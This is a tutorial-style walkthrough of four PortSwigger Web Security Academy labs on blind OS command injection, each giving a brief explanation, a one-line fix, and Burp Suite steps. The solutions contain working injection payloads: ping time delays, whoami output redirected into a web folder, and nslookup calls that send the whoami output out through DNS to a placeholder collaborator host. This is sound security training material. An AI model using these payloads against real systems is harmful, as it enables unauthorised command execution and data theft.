Practitioner · updated

OS command injection

PortSwigger Web Security Academy · Practitioner

  • #Command injection
LevelsApprenticePractitioner

Blind OS command injection with time delays

The vulnerability

The feedback form runs a shell command with your input, but you don’t see the output. If you add a ping that takes ten seconds and the response takes ten seconds too, you know it works.

Fix: Don’t build shell commands from user input.

The lab

Open the lab on PortSwigger

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.

To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

Solution

1. Submit Feedback with Dummy Data: Fill out the feedback form with any dummy data in all fields and submit it.

2. Intercept Feedback Request: In Burp Suite, go to Proxy → HTTP history. Find the POST /feedback/submit request and right-click to Send to Repeater.

3. Test for Time-Based Injection: Systematically test each input field (e.g., email, name, subject, message) by appending a time-delay payload. For a Linux-based system, use ||ping -c 10 127.0.0.1|| (or & ping -c 10 127.0.0.1 & if & is the appropriate separator). For example, modify the email field's value to test@example.com||ping+-c+10+127.0.0.1||. Send the request and look at the response time. The vulnerable field will cause a noticeable delay (approximately 10 seconds) before the response is received, and the lab is solved.

Tip

An active scan on the POST /feedback/submit endpoint in Burp Suite finds this vulnerability.

Blind OS Command Injection with Output Redirection

The vulnerability

You don’t see the output of your command, but you can write it to a file in the image folder and open that file in the browser.

Fix: Don’t build shell commands from user input, and don’t let the web server write to public folders.

The lab

Open the lab on PortSwigger

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at: /var/www/images

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

To solve the lab, execute the whoami command and retrieve the output.

Solution

1. Enable Image Filtering in Burp Proxy: In Burp Suite, go to Proxy → Options and ensure that image files are not being filtered from the HTTP history, or disable all filtering temporarily.

2. Submit Feedback with Dummy Data: Fill out the feedback form with any dummy data and submit it.

3. Intercept Feedback Request: In Burp Suite, go to Proxy → HTTP history. Find the POST /feedback/submit request and Send to Repeater.

4. Confirm Blind Injection with Time Delay (Optional but Recommended): As a preliminary step, confirm the injection point using a time-delay payload (e.g., ||ping+-c+10+127.0.0.1|| in the email field) as done in the previous lab. This verifies the vulnerability before attempting output redirection.

5. Redirect whoami Output to Writable Directory: Modify the vulnerable input field (e.g., email). Inject a command to execute whoami and redirect its output to the specified writable folder (/var/www/images/) into a new file (e.g., output.txt). The payload would look like: test@example.com||whoami+> /var/www/images/output.txt||. Send the request.

6. Retrieve Output via Web Access: Open a new browser tab or use Burp Repeater to access the file you just created. Go to the URL corresponding to the writable folder and your filename (e.g., https://[LAB_ID].web-security-academy.net/images/output.txt). The content of this file will be the output of the whoami command, and the lab is solved.

Tip

An active scan on the POST /feedback/submit endpoint in Burp Suite finds this vulnerability.

Blind OS Command Injection with Out-of-Band Interaction

The vulnerability

The command runs in the background, so a delay doesn’t tell you anything. Instead, you let the server look up a domain of yours. If the DNS request arrives, the command ran.

Fix: Don’t build shell commands from user input, and limit outgoing connections.

The lab

Open the lab on PortSwigger

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.

Solution

1. Generate a Burp Collaborator Payload: Open Burp Collaborator client (Burp menu -> Burp Collaborator client). Copy a unique Collaborator payload (e.g., x.YOUR_COLLABORATOR).

2. Submit Feedback with Dummy Data: Fill out the feedback form with any dummy data and submit it.

3. Intercept Feedback Request: In Burp Suite, go to Proxy → HTTP history. Find the POST /feedback/submit request and Send to Repeater.

4. Inject OOB Command: Modify the vulnerable input field (e.g., email). Inject a command to trigger a DNS lookup to your Burp Collaborator payload. For a Linux-based system, this would be ||nslookup+x.YOUR_COLLABORATOR_URL||. Send the request.

5. Check Burp Collaborator: Switch back to the Burp Collaborator client. If the command was executed, you will observe a DNS query from the lab server to your unique Collaborator domain, confirming the blind OS command injection.

Tip

An active scan on the POST /feedback/submit endpoint in Burp Suite finds this vulnerability.

Blind OS Command Injection with Out-of-Band Data Exfiltration

The vulnerability

As in the previous lab, the server looks up a domain of yours. This time you put the output of whoami in front of it and read it in the DNS request.

Fix: Don’t build shell commands from user input, and limit outgoing connections.

The lab

Open the lab on PortSwigger

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.

Solution

  1. Generate a Burp Collaborator Payload: Open Burp Collaborator client (Burp menu -> Burp Collaborator client). Copy a unique Collaborator payload (e.g., YOUR_COLLABORATOR_URL).
  2. Submit Feedback with Dummy Data: Fill out the feedback form with any dummy data and submit it.
  3. Intercept Feedback Request: In Burp Suite, go to Proxy → HTTP history. Find the POST /feedback/submit request and Send to Repeater.
  4. Inject Data Exfiltration Command: Modify the vulnerable input field (e.g., email). Inject a command to execute whoami and embed its output as a subdomain within a DNS lookup to your Burp Collaborator payload. The payload should look like: test@test.com||nslookup+` whoami `.YOUR_COLLABORATOR_URL|| . Send the request.
  5. Check Burp Collaborator and Retrieve Username: Switch back to the Burp Collaborator client. Look at the incoming DNS queries. You will see a DNS query where the subdomain is the output of the whoami command (e.g., USERNAME.YOUR_COLLABORATOR_URL). The USERNAME part is the exfiltrated username.
  6. Submit Username to Solve Lab: Enter the retrieved username into the lab’s solution field to complete the lab.

Tip

An active scan on the POST /feedback/submit endpoint in Burp Suite finds this vulnerability.